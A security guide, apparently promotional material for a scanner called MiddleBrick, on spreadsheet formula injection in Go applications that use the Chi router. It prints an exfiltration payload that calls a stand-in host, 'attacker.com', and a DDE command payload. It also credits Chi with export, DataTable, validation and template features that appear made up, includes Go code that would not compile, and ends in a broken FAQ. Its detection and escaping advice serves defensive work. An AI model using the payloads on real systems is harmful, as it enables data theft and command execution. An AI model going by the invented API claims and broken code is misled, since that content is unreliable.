Formula Injection in Chi
How Formula Injection Manifests in Chi
Formula Injection in Chi applications typically occurs when user-controlled data is embedded in spreadsheet exports without proper sanitization. Chi's data export functionality, commonly used for financial reports and analytics dashboards, creates an attack surface when malicious formulas are injected through API responses.
The most prevalent attack vector involves CSV or Excel exports where attackers craft input containing Excel formula syntax. For example, an attacker might submit a product name like =ISNUMBER(SEARCH("finance",A1)) through Chi's product creation endpoint. When this data is later exported via Chi's /api/export endpoint, the formula executes on the victim's machine when the spreadsheet is opened.
Chi's default export behavior doesn't sanitize formula syntax. When exporting data using Chi's export_to_csv() or export_to_excel() methods, any cell containing =, +, -, or @ at the beginning is interpreted as a formula by spreadsheet applications. This affects Chi applications that handle financial data, inventory management, or any system where spreadsheet exports are common.
A specific Chi pattern involves the chi.DataTable component's export feature. When users click the export button on a DataTable containing user-generated content, malicious formulas stored in the database execute upon spreadsheet opening. The attack chain typically follows: API endpoint accepts formula-containing data → stores in database → DataTable renders data → export function writes raw data to CSV → victim opens file → formula executes.
Another Chi-specific manifestation occurs in Chi's template rendering system. When rendering tables that will be exported, Chi's default escaping might not account for spreadsheet formula syntax, allowing HYPERLINK() and DDE() formulas to slip through. These can cause data exfiltration when combined with external references like =HYPERLINK("http://attacker.com?data="&A1).
Chi-Specific Detection
Detecting formula injection in Chi applications requires examining both the API endpoints that accept user input and the export functionality. Start by auditing Chi's data model for string fields that could contain user-generated content destined for export.
Scan Chi's API endpoints for input validation gaps. Look for endpoints like /api/products, /api/users, or /api/reports that accept text fields without formula sanitization. Use tools like middlebrick scan https://your-chiapp.com/api/export to automatically test for formula injection vulnerabilities. MiddleBrick's black-box scanning specifically checks for CSV/Excel export endpoints and tests them with formula payloads.
Implement runtime detection by monitoring exported files for formula syntax. Create a Chi middleware that intercepts export requests and scans content for suspicious patterns before file generation. The middleware can check for common formula indicators: = at line start, +, -, @ prefixes, and known function names like SUM(), IF(), VLOOKUP().
Use Chi's built-in validation features to add formula detection. Chi's chi.Validate can include custom validators that check for formula syntax using regex patterns. For example:
func validateNoFormula(fl validator.FieldLevel) bool {
input := fl.Field().String()
formulaPattern := regexp.MustCompile(`^\s*[\=\+\-\@]`)
return !formulaPattern.MatchString(input)
}
// Register validator
validate := validator.New()
validate.RegisterValidation("noformula", validateNoFormula)
MiddleBrick's scanner specifically tests for formula injection by submitting payloads like =1+1, +CMD|'/C calc'!A0, and @SUM(1+1) to export endpoints and checking if they execute when the resulting file is processed.
Chi-Specific Remediation
Remediating formula injection in Chi requires a defense-in-depth approach. Start with input validation at the API layer using Chi's middleware system.
Create a formula-sanitizing middleware that intercepts requests to sensitive endpoints:
func formulaSanitizer(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost || r.Method == http.MethodPut {
var payload map[string]interface{}
if err := json.NewDecoder(r.Body).Decode(&payload); err != nil {
http.Error(w, "Invalid JSON", http.StatusBadRequest)
return
}
for key, value := range payload {
if strVal, ok := value.(string); ok {
sanitized := sanitizeFormula(strVal)
payload[key] = sanitized
}
}
r.Body = ioutil.NopCloser(bytes.NewBufferString(json.Marshal(payload)))
}
next.ServeHTTP(w, r)
})
}
func sanitizeFormula(input string) string {
// Prefix formula with apostrophe to force text rendering
if strings.HasPrefix(strings.TrimSpace(input), "=") ||
strings.HasPrefix(strings.TrimSpace(input), "+") ||
strings.HasPrefix(strings.TrimSpace(input), "-") ||
strings.HasPrefix(strings.TrimSpace(input), "@") {
return "'" + input
}
return input
}
For export functionality, modify Chi's export methods to automatically escape formula syntax. When using Chi's export_to_csv(), prepend an apostrophe to any cell that starts with formula indicators:
func safeExport(data [][]string) []byte {
csvData := make([][]string, len(data))
for i, row := range data {
csvData[i] = make([]string, len(row))
for j, cell := range row {
csvData[i][j] = escapeFormula(cell)
}
}
var buf bytes.Buffer
writer := csv.NewWriter(&buf)
writer.WriteAll(csvData)
return buf.Bytes()
}
func escapeFormula(cell string) string {
trimmed := strings.TrimSpace(cell)
if strings.HasPrefix(trimmed, "=") ||
strings.HasPrefix(trimmed, "+") ||
strings.HasPrefix(trimmed, "-") ||
strings.HasPrefix(trimmed, "@") {
return "'" + cell
}
return cell
}
Implement output encoding in Chi templates that render data destined for export. Use HTML escaping combined with formula detection:
<!-- Chi template snippet -->
<td>{{ if formula .Value }}{{ printf "'%s" .Value }}{{ else }}{{ .Value }}{{ end }}</td>
// Helper function
func formula(input string) bool {
pattern := regexp.MustCompile(`^\s*[\=\+\-\@]`)
return pattern.MatchString(input)
}
For comprehensive protection, integrate MiddleBrick's continuous scanning into your CI/CD pipeline. Add a GitHub Action that runs before deployment:
- name: Run MiddleBrick Security Scan
uses: middlebrick/middlebrick-action@v1
with:
target: https://staging.your-chiapp.com/api/export
fail-on-severity: high
env:
MIDDLEBRICK_API_KEY: ${{ secrets.MIDDLEBRICK_API_KEY }}
This ensures formula injection vulnerabilities are caught before production deployment, with MiddleBrick testing export endpoints using specialized formula injection payloads and providing detailed remediation guidance if issues are found.
Frequently Asked Questions
How does formula injection differ from XSS in Chi applications?
Can MiddleBrick detect formula injection in Chi's export endpoints?
=1+1, +CMD|'/C calc'!A0, and @SUM(1+1), then reports if any execute. This automated testing catches vulnerabilities that manual code review might miss, especially in complex export logic.